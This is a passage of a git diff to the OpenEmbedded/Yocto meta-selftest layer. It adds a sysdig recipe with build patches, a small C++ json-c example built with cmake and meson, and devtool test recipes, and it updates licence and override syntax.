+ userspace/libsinsp/filter_value.h | 1 +
+ 2 files changed, 2 insertions(+)
+
+--- a/userspace/libsinsp/filter/parser.h
++++ b/userspace/libsinsp/filter/parser.h
+@@ -18,6 +18,7 @@ limitations under the License.
+ #pragma once
+
+ #include "ast.h"
++#include <cstdint>
+
+ //
+ // Context-free Grammar for Sinsp Filters
+--- a/userspace/libsinsp/filter_value.h
++++ b/userspace/libsinsp/filter_value.h
+@@ -18,6 +18,7 @@ limitations under the License.
+ #pragma once
+
+ #include <string.h>
++#include <cstdint>
+ #include <utility>
+
+ // Used for CO_IN/CO_PMATCH filterchecks using PT_CHARBUFs to allow
diff --git a/meta-selftest/recipes-extended/sysdig/sysdig-selftest/0099-cmake-Pass-PROBE_NAME-via-CFLAGS.patch b/meta-selftest/recipes-extended/sysdig/sysdig-selftest/0099-cmake-Pass-PROBE_NAME-via-CFLAGS.patch
new file mode 100644
index 0000000000..903ccdf36a
--- /dev/null
+++ b/meta-selftest/recipes-extended/sysdig/sysdig-selftest/0099-cmake-Pass-PROBE_NAME-via-CFLAGS.patch
@@ -0,0 +1,29 @@
+From ed8969a233adb6bf701de96d0fd0570e5ddcc787 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 21 Mar 2022 19:35:48 -0700
+Subject: [PATCH] cmake: Pass PROBE_NAME via CFLAGS
+
+This helps compliation of driver code where its calling modprobe on the
+given kernel module via system() API
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ CMakeLists.txt | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 7dceb7ae..e156c36f 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -149,6 +149,7 @@ if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+ if(NOT DEFINED PROBE_NAME)
+ set(PROBE_NAME "scap")
+ endif()
++ add_definitions(-DPROBE_NAME="${PROBE_NAME}")
+
+ set(DRIVERS_REPO "https://download.sysdig.com/scap-drivers")
+
+--
+2.35.1
+
diff --git a/meta-selftest/recipes-extended/sysdig/sysdig-selftest_0.28.0.bb b/meta-selftest/recipes-extended/sysdig/sysdig-selftest_0.28.0.bb
new file mode 100644
index 0000000000..2ce85fe451
--- /dev/null
+++ b/meta-selftest/recipes-extended/sysdig/sysdig-selftest_0.28.0.bb
@@ -0,0 +1,66 @@
+SUMMARY = "A New System Troubleshooting Tool Built for the Way You Work"
+DESCRIPTION = "Sysdig is open source, system-level exploration: capture \
+system state and activity from a running Linux instance, then save, \
+filter and analyze."
+HOMEPAGE = "http://www.sysdig.org/"
+LICENSE = "Apache-2.0 & (MIT | GPL-2.0-only)"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f8fee3d59797546cffab04f3b88b2d44"
+
+inherit cmake pkgconfig
+
+#OECMAKE_GENERATOR = "Unix Makefiles"
+JIT ?= "jit"
+JIT:mipsarchn32 = ""
+JIT:mipsarchn64 = ""
+JIT:riscv64 = ""
+JIT:riscv32 = ""
+JIT:powerpc = ""
+JIT:powerpc64le = ""
+JIT:powerpc64 = ""
+
+#DEPENDS += "libb64 lua${JIT} zlib c-ares grpc-native grpc curl ncurses jsoncpp \
+# tbb jq openssl elfutils protobuf protobuf-native jq-native valijson"
+RDEPENDS:${PN} = "bash"
+
+SRC_URI = "git://github.com/draios/sysdig.git;branch=dev;protocol=https;name=sysdig \
+ git://github.com/falcosecurity/libs;protocol=https;branch=master;name=falco;subdir=git/falcosecurity-libs \
+ file://0055-Add-cstdint-for-uintXX_t-types.patch;patchdir=./falcosecurity-libs \
+ file://0099-cmake-Pass-PROBE_NAME-via-CFLAGS.patch \
+ "
+SRCREV_sysdig = "4fb6288275f567f63515df0ff0a6518043ecfa9b"
+SRCREV_falco= "caa0e4d0044fdaaebab086592a97f0c7f32aeaa9"
+
+SRCREV_FORMAT = "sysdig_falco"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_DRIVER=OFF \
+ -DMINIMAL_BUILD=ON \
+ -DUSE_BUNDLED_DEPS=OFF \
+ -DCREATE_TEST_TARGETS=OFF \
+ -DDIR_ETC=${sysconfdir} \
+ -DLUA_INCLUDE_DIR=${STAGING_INCDIR}/luajit-2.1 \
+ -DFALCOSECURITY_LIBS_SOURCE_DIR=${S}/falcosecurity-libs \
+ -DVALIJSON_INCLUDE=${STAGING_INCDIR}/valijson \
+"
+
+#CMAKE_VERBOSE = "VERBOSE=1"
+
+FILES:${PN} += " \
+ ${DIR_ETC}/* \
+ ${datadir}/zsh/* \
+ ${prefix}/src/* \
+"
+# Use getaddrinfo_a is a GNU extension in libsinsp
+# It should be fixed in sysdig, until then disable
+# on musl
+# Something like this https://code.videolan.org/ePirat/vlc/-/commit/01fd9fe4c7f6c5558f7345f38abf0152e17853ab is needed to fix it
+COMPATIBLE_HOST:libc-musl = "null"
+COMPATIBLE_HOST:mips = "null"
+COMPATIBLE_HOST:riscv64 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
+COMPATIBLE_HOST:powerpc = "null"
+COMPATIBLE_HOST:powerpc64le = "null"
+
+EXCLUDE_FROM_WORLD = "1"
diff --git a/meta-selftest/recipes-test/aspell/aspell_0.60.8.bbappend b/meta-selftest/recipes-test/aspell/aspell_%.bbappend
index 205720982c..205720982c 100644
--- a/meta-selftest/recipes-test/aspell/aspell_0.60.8.bbappend
+++ b/meta-selftest/recipes-test/aspell/aspell_%.bbappend
diff --git a/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb b/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb
index 9f905a5198..e1e473fe80 100644
--- a/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb
+++ b/meta-selftest/recipes-test/aspell/aspell_0.0.0.1.bb
@@ -4,8 +4,9 @@
SUMMARY = "GNU Aspell spell-checker"
SECTION = "console/utils"
+HOMEPAGE = "https://ftp.gnu.org/gnu/aspell/"
-LICENSE = "LGPLv2 | LGPLv2.1"
+LICENSE = "LGPL-2.0-only | LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz"
@@ -19,15 +20,15 @@ PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses"
PACKAGES += "libaspell libpspell libpspell-dev aspell-utils"
-FILES_${PN}-dbg += "${libdir}/aspell-0.60/.debu*"
-FILES_libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
-FILES_aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
-FILES_${PN} = "${bindir}/aspell"
-FILES_libpspell = "${libdir}/libpspell.so.*"
-FILES_libpspell-dev = "${libdir}/libpspell* ${bindir}/pspell-config ${includedir}/pspell"
+FILES:${PN}-dbg += "${libdir}/aspell-0.60/.debu*"
+FILES:libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
+FILES:aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
+FILES:${PN} = "${bindir}/aspell"
+FILES:libpspell = "${libdir}/libpspell.so.*"
+FILES:libpspell-dev = "${libdir}/libpspell* ${bindir}/pspell-config ${includedir}/pspell"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
inherit autotools gettext
diff --git a/meta-selftest/recipes-test/base-files/base-files_%.bbappend b/meta-selftest/recipes-test/base-files/base-files_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/meta-selftest/recipes-test/base-files/base-files_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/meta-selftest/recipes-test/binutils/binutils_%.bbappend b/meta-selftest/recipes-test/binutils/binutils_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/meta-selftest/recipes-test/binutils/binutils_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/meta-selftest/recipes-test/container-image/container-image-testpkg.bb b/meta-selftest/recipes-test/container-image/container-image-testpkg.bb
index f8dd2290b3..929bc29753 100644
--- a/meta-selftest/recipes-test/container-image/container-image-testpkg.bb
+++ b/meta-selftest/recipes-test/container-image/container-image-testpkg.bb
@@ -2,7 +2,7 @@ LICENSE = "MIT"
INHIBIT_DEFAULT_DEPS = "1"
-do_install_append() {
+do_install:append() {
install -d ${D}${bindir}
touch ${D}${bindir}/theapp
}
diff --git a/meta-selftest/recipes-test/cpp/.gitignore b/meta-selftest/recipes-test/cpp/.gitignore
new file mode 100644
index 0000000000..30d388a12b
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/.gitignore
@@ -0,0 +1 @@
+build* \ No newline at end of file
diff --git a/meta-selftest/recipes-test/cpp/cmake-example.bb b/meta-selftest/recipes-test/cpp/cmake-example.bb
new file mode 100644
index 0000000000..aecfcf780a
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/cmake-example.bb
@@ -0,0 +1,25 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+SUMMARY = "A C++ example compiled with cmake."
+
+require cpp-example.inc
+
+SRC_URI += "file://CMakeLists.txt"
+
+inherit cmake-qemu
+
+PACKAGECONFIG[failing_test] = "-DFAILING_TEST=ON"
+
+FILES:${PN}-ptest += "${bindir}/test-cmake-example"
+
+do_run_tests () {
+ bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' --target test -- ${EXTRA_OECMAKE_BUILD}
+ eval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' --target test -- ${EXTRA_OECMAKE_BUILD}
+}
+do_run_tests[doc] = "Run cmake --target=test using qemu-user"
+
+addtask do_run_tests after do_compile
diff --git a/meta-selftest/recipes-test/cpp/cmake-example/run-ptest b/meta-selftest/recipes-test/cpp/cmake-example/run-ptest
new file mode 100644
index 0000000000..94b620a198
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/cmake-example/run-ptest
@@ -0,0 +1,10 @@
+#!/bin/sh
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+test-cmake-example
+
+# Note: run-ptests exits with exit value from test-cmake-example
diff --git a/meta-selftest/recipes-test/cpp/cpp-example.inc b/meta-selftest/recipes-test/cpp/cpp-example.inc
new file mode 100644
index 0000000000..ad374be9d0
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/cpp-example.inc
@@ -0,0 +1,24 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+DEPENDS += "json-c"
+
+PV = "1.0"
+
+SRC_URI = "\
+ file://cpp-example.cpp \
+ file://cpp-example-lib.hpp \
+ file://cpp-example-lib.cpp \
+ file://test-cpp-example.cpp \
+ file://run-ptest \
+"
+
+S = "${WORKDIR}"
+
+inherit ptest
diff --git a/meta-selftest/recipes-test/cpp/files/CMakeLists.txt b/meta-selftest/recipes-test/cpp/files/CMakeLists.txt
new file mode 100644
index 0000000000..6fa6917d89
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/CMakeLists.txt
@@ -0,0 +1,61 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+cmake_minimum_required(VERSION 3.22)
+
+project(cmake-example
+ VERSION 1.0.0
+ LANGUAGES CXX
+)
+
+option(BUILD_SHARED_LIBS "Build using shared libraries" ON)
+option(FAILING_TEST "Compile a failing unit test to test the test infrastructure" OFF)
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED On)
+set(CMAKE_CXX_EXTENSIONS Off)
+
+include(GNUInstallDirs)
+
+# Linking a small library makes the example more useful for testing.
+find_package(json-c)
+
+# A simple library linking json-c library found by pkgconfig
+add_library(cmake-example-lib cpp-example-lib.cpp cpp-example-lib.hpp)
+set_target_properties(cmake-example-lib PROPERTIES
+ VERSION ${PROJECT_VERSION}
+ SOVERSION ${PROJECT_VERSION_MAJOR}
+)
+target_link_libraries(cmake-example-lib PRIVATE json-c::json-c)
+
+install(TARGETS cmake-example-lib
+ INCLUDES DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}
+ ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
+ LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
+)
+
+# A simple executable linking the library
+add_executable(cmake-example cpp-example.cpp)
+target_link_libraries(cmake-example PRIVATE cmake-example-lib)
+
+install(TARGETS cmake-example
+ RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}
+)
+
+# A simple test executable for testing the library
+add_executable(test-cmake-example test-cpp-example.cpp)
+target_link_libraries(test-cmake-example PRIVATE cmake-example-lib)
+
+if (FAILING_TEST)
+ target_compile_definitions(test-cmake-example PRIVATE FAIL_COMPARISON_STR="foo")
+endif(FAILING_TEST)
+
+install(TARGETS test-cmake-example
+ RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}
+)
+
+include(CTest)
+add_test(NAME test-cmake-example COMMAND test-cmake-example)
diff --git a/meta-selftest/recipes-test/cpp/files/cpp-example-lib.cpp b/meta-selftest/recipes-test/cpp/files/cpp-example-lib.cpp
new file mode 100644
index 0000000000..d3dc976864
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/cpp-example-lib.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright OpenEmbedded Contributors
+ *
+ * SPDX-License-Identifier: MIT
+ */
+
+#include <iostream>
+#include <string>
+#include <json-c/json.h>
+#include "cpp-example-lib.hpp"
+
+const std::string &CppExample::get_string()
+{
+ return test_string;
+}
+
+const char *CppExample::get_json_c_version()
+{
+ return json_c_version();
+}
+
+void CppExample::print_json()
+{
+ struct json_object *jobj;
+ const int flag = JSON_C_TO_STRING_SPACED | JSON_C_TO_STRING_PRETTY;
+
+ jobj = json_object_new_object();
+ json_object_object_add(jobj, "test_string", json_object_new_string(test_string.c_str()));
+
+ std::cout << json_object_to_json_string_ext(jobj, flag) << std::endl;
+
+ json_object_put(jobj); // Delete the json object
+}
diff --git a/meta-selftest/recipes-test/cpp/files/cpp-example-lib.hpp b/meta-selftest/recipes-test/cpp/files/cpp-example-lib.hpp
new file mode 100644
index 0000000000..0ad9e7b7b2
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/cpp-example-lib.hpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright OpenEmbedded Contributors
+ *
+ * SPDX-License-Identifier: MIT
+ */
+
+#pragma once
+
+#include <string>
+
+struct CppExample
+{
+ inline static const std::string test_string = "cpp-example-lib Magic: 123456789";
+
+ /* Retrieve a constant string */
+ const std::string &get_string();
+ /* Retrieve a constant string from a library */
+ const char *get_json_c_version();
+ /* Call a more advanced function from a library */
+ void print_json();
+};
diff --git a/meta-selftest/recipes-test/cpp/files/cpp-example.cpp b/meta-selftest/recipes-test/cpp/files/cpp-example.cpp
new file mode 100644
index 0000000000..9889554e0c
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/cpp-example.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright OpenEmbedded Contributors
+ *
+ * SPDX-License-Identifier: MIT
+ */
+
+#include "cpp-example-lib.hpp"
+
+#include <iostream>
+
+int main()
+{
+ auto cpp_example = CppExample();
+ std::cout << "C++ example linking " << cpp_example.get_string() << std::endl;
+ std::cout << "Linking json-c version " << cpp_example.get_json_c_version() << std::endl;
+ cpp_example.print_json();
+ return 0;
+}
diff --git a/meta-selftest/recipes-test/cpp/files/meson.build b/meta-selftest/recipes-test/cpp/files/meson.build
new file mode 100644
index 0000000000..0e2b55f3a2
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/meson.build
@@ -0,0 +1,38 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+project('meson-example', 'cpp',
+ version: '1.0.0',
+ default_options: ['cpp_std=c++17']
+ )
+
+jsoncdep = dependency('json-c')
+
+if get_option('FAILING_TEST').enabled()
+ add_project_arguments('-DFAIL_COMPARISON_STR=foo', language: 'cpp')
+endif
+
+mesonexlib = shared_library('mesonexlib',
+ 'cpp-example-lib.cpp', 'cpp-example-lib.hpp',
+ version: meson.project_version(),
+ soversion: meson.project_version().split('.')[0],
+ dependencies : jsoncdep,
+ install : true
+ )
+
+executable('mesonex',
+ 'cpp-example.cpp',
+ link_with : mesonexlib,
+ install : true
+ )
+
+test_mesonex = executable('test-mesonex',
+ 'test-cpp-example.cpp',
+ link_with : mesonexlib,
+ install : true
+)
+
+test('meson example test', test_mesonex)
diff --git a/meta-selftest/recipes-test/cpp/files/meson.options b/meta-selftest/recipes-test/cpp/files/meson.options
new file mode 100644
index 0000000000..58a0bf9e61
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/meson.options
@@ -0,0 +1,3 @@
+
+option('FAILING_TEST', type : 'feature', value : 'disabled',
+ description : 'Compile a failing unit test to test the test infrastructure')
diff --git a/meta-selftest/recipes-test/cpp/files/test-cpp-example.cpp b/meta-selftest/recipes-test/cpp/files/test-cpp-example.cpp
new file mode 100644
index 0000000000..83c9bfa844
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/files/test-cpp-example.cpp
@@ -0,0 +1,25 @@
+/*
+* Copyright OpenEmbedded Contributors
+*
+* SPDX-License-Identifier: MIT
+*/
+
+#include "cpp-example-lib.hpp"
+
+#include <iostream>
+
+/* This is for creating a failing test for testing the test infrastructure */
+#ifndef FAIL_COMPARISON_STR
+#define FAIL_COMPARISON_STR ""
+#endif
+
+int main() {
+ auto cpp_example = CppExample();
+ auto ret_string = cpp_example.get_string();
+ if(0 == ret_string.compare(CppExample::test_string + FAIL_COMPARISON_STR)) {
+ std::cout << "PASS: " << ret_string << " = " << CppExample::test_string << std::endl;
+ } else {
+ std::cout << "FAIL: " << ret_string << " != " << CppExample::test_string << std::endl;
+ return 1;
+ }
+}
diff --git a/meta-selftest/recipes-test/cpp/meson-example.bb b/meta-selftest/recipes-test/cpp/meson-example.bb
new file mode 100644
index 0000000000..14a7ca8dc9
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/meson-example.bb
@@ -0,0 +1,27 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+SUMMARY = "A C++ example compiled with meson."
+
+require cpp-example.inc
+
+SRC_URI += "\
+ file://meson.build \
+ file://meson.options \
+"
+
+inherit pkgconfig meson
+
+PACKAGECONFIG[failing_test] = "-DFAILING_TEST=enabled"
+
+FILES:${PN}-ptest += "${bindir}/test-mesonex"
+
+do_run_tests () {
+ meson test -C "${B}" --no-rebuild
+}
+do_run_tests[doc] = "Run meson test using qemu-user"
+
+addtask do_run_tests after do_compile
diff --git a/meta-selftest/recipes-test/cpp/meson-example/run-ptest b/meta-selftest/recipes-test/cpp/meson-example/run-ptest
new file mode 100644
index 0000000000..b1804f0096
--- /dev/null
+++ b/meta-selftest/recipes-test/cpp/meson-example/run-ptest
@@ -0,0 +1,10 @@
+#!/bin/sh
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+test-mesonex
+
+# Note: run-ptests exits with exit value from test-mesonex
diff --git a/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb b/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb
new file mode 100644
index 0000000000..f12bee0b3d
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-patch-overrides.bb
@@ -0,0 +1,8 @@
+SUMMARY = "devtool test for overrides and patches"
+LICENSE = "CLOSED"
+INHIBIT_DEFAULT_DEPS = "1"
+EXCLUDE_FROM_WORLD = "1"
+
+SRC_URI = "file://source;subdir=${BP}"
+SRC_URI:append:qemuarm = " file://arm.patch;striplevel=0"
+SRC_URI:append:qemux86 = " file://x86.patch;striplevel=0"
diff --git a/meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemuarm/arm.patch b/meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemuarm/arm.patch
new file mode 100644
index 0000000000..e33a2753f9
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemuarm/arm.patch
@@ -0,0 +1,5 @@
+--- source.orig 2020-10-06 13:26:10.792688630 +0100
++++ source 2020-10-06 13:26:18.853424694 +0100
+@@ -1 +1 @@
+-This is a test for something
++This is a test for qemuarm
diff --git a/meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemux86/x86.patch b/meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemux86/x86.patch
new file mode 100644
index 0000000000..1a0a175fa8
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-patch-overrides/qemux86/x86.patch
@@ -0,0 +1,5 @@
+--- source.orig 2020-10-06 13:26:10.792688630 +0100
++++ source 2020-10-06 13:26:18.853424694 +0100
+@@ -1 +1 @@
+-This is a test for something
++This is a test for qemux86
diff --git a/meta-selftest/recipes-test/devtool/devtool-patch-overrides/source b/meta-selftest/recipes-test/devtool/devtool-patch-overrides/source
new file mode 100644
index 0000000000..cc14ce627c
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-patch-overrides/source
@@ -0,0 +1 @@
+This is a test for something
diff --git a/meta-selftest/recipes-test/devtool/devtool-test-local/file3 b/meta-selftest/recipes-test/devtool/devtool-test-local/file3
new file mode 100644
index 0000000000..0f30e9eec4
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-test-local/file3
@@ -0,0 +1 @@
+The third file.
diff --git a/meta-selftest/recipes-test/devtool/devtool-test-local_6.03.bb b/meta-selftest/recipes-test/devtool/devtool-test-local_6.03.bb
index 6bfc557060..d0fd697978 100644
--- a/meta-selftest/recipes-test/devtool/devtool-test-local_6.03.bb
+++ b/meta-selftest/recipes-test/devtool/devtool-test-local_6.03.bb
@@ -1,4 +1,4 @@
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
INHIBIT_DEFAULT_DEPS = "1"
@@ -7,9 +7,12 @@ SRC_URI = "http://downloads.yoctoproject.org/mirror/sources/syslinux-${PV}.tar.x
file://file1 \
file://file2"
+SRC_URI:append:class-native = " file://file3"
+
SRC_URI[md5sum] = "92a253df9211e9c20172796ecf388f13"
SRC_URI[sha256sum] = "26d3986d2bea109d5dc0e4f8c4822a459276cf021125e8c9f23c3cca5d8c850e"
S = "${WORKDIR}/syslinux-${PV}"
EXCLUDE_FROM_WORLD = "1"
+BBCLASSEXTEND = "native"
diff --git a/meta-selftest/recipes-test/devtool/devtool-test-localonly.bb b/meta-selftest/recipes-test/devtool/devtool-test-localonly.bb
index 3f7123cda0..e767619879 100644
--- a/meta-selftest/recipes-test/devtool/devtool-test-localonly.bb
+++ b/meta-selftest/recipes-test/devtool/devtool-test-localonly.bb
@@ -4,4 +4,7 @@ INHIBIT_DEFAULT_DEPS = "1"
SRC_URI = "file://file1 \
file://file2"
+SRC_URI:append:class-native = " file://file3"
+
EXCLUDE_FROM_WORLD = "1"
+BBCLASSEXTEND = "native"
diff --git a/meta-selftest/recipes-test/devtool/devtool-test-localonly/file3 b/meta-selftest/recipes-test/devtool/devtool-test-localonly/file3
new file mode 100644
index 0000000000..0f30e9eec4
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-test-localonly/file3
@@ -0,0 +1 @@
+The third file.
diff --git a/meta-selftest/recipes-test/devtool/devtool-test-patch-gz.bb b/meta-selftest/recipes-test/devtool/devtool-test-patch-gz.bb
index fc3799590c..e25b3d9747 100644
--- a/meta-selftest/recipes-test/devtool/devtool-test-patch-gz.bb
+++ b/meta-selftest/recipes-test/devtool/devtool-test-patch-gz.bb
@@ -1,4 +1,4 @@
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
DEPENDS = "libxres libxext virtual/libx11 ncurses"
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb
index 07b83276fb..2558a22ce5 100644
--- a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb
@@ -1,17 +1,17 @@
SUMMARY = "A simple tool to wait for a specific signal over DBus"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/dbus-wait"
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "dbus"
# Note: this is intentionally not the latest version in the original .bb
SRCREV = "1a3e1343761b30750bed70e0fd688f6d3c7b3717"
-PV = "0.1+git${SRCPV}"
+PV = "0.1+git"
PR = "r2"
-SRC_URI = "git://git.yoctoproject.org/dbus-wait"
+SRC_URI = "git://git.yoctoproject.org/dbus-wait;branch=master"
UPSTREAM_CHECK_COMMITS = "1"
RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded
index 32ec4b14fa..eaa8bd898d 100644
--- a/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test2_git.bb.upgraded
@@ -1,16 +1,16 @@
SUMMARY = "A simple tool to wait for a specific signal over DBus"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/dbus-wait"
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "dbus"
# Note: this is intentionally not the latest version in the original .bb
SRCREV = "6cc6077a36fe2648a5f993fe7c16c9632f946517"
-PV = "0.1+git${SRCPV}"
+PV = "0.1+git"
-SRC_URI = "git://git.yoctoproject.org/dbus-wait"
+SRC_URI = "git://git.yoctoproject.org/dbus-wait;branch=master"
UPSTREAM_CHECK_COMMITS = "1"
RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb b/meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb
new file mode 100644
index 0000000000..69c0d351ec
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Pipe viewer test recipe for devtool upgrade test"
+LICENSE = "Artistic-2.0"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=9c50db2589ee3ef10a9b7b2e50ce1d02"
+
+SRC_URI = "http://www.ivarch.com/programs/sources/pv-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "http://www.ivarch.com/programs/pv.shtml"
+RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
+
+SRC_URI[md5sum] = "9365d86bd884222b4bf1039b5a9ed1bd"
+
+S = "${WORKDIR}/pv-${PV}"
+
+EXCLUDE_FROM_WORLD = "1"
+
+inherit autotools
+
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb.upgraded b/meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb.upgraded
new file mode 100644
index 0000000000..3ce7e85e10
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test3_1.5.3.bb.upgraded
@@ -0,0 +1,15 @@
+SUMMARY = "Pipe viewer test recipe for devtool upgrade test"
+LICENSE = "Artistic-2.0"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=9c50db2589ee3ef10a9b7b2e50ce1d02"
+
+SRC_URI[sha256sum] = "9dd45391806b0ed215abee4c5ac1597d018c386fe9c1f5afd2f6bc3b07fd82c3"
+SRC_URI = "http://www.ivarch.com/programs/sources/pv-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "http://www.ivarch.com/programs/pv.shtml"
+RECIPE_NO_UPDATE_REASON = "This recipe is used to test devtool upgrade feature"
+
+S = "${WORKDIR}/pv-${PV}"
+
+EXCLUDE_FROM_WORLD = "1"
+
+inherit autotools
+
diff --git a/meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb b/meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb
new file mode 100644
index 0000000000..9abf80e6ed
--- /dev/null
+++ b/meta-selftest/recipes-test/devtool/devtool-upgrade-test4_1.5.3.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Pipe viewer test recipe for devtool upgrade test"
+LICENSE = "Artistic-2.0"
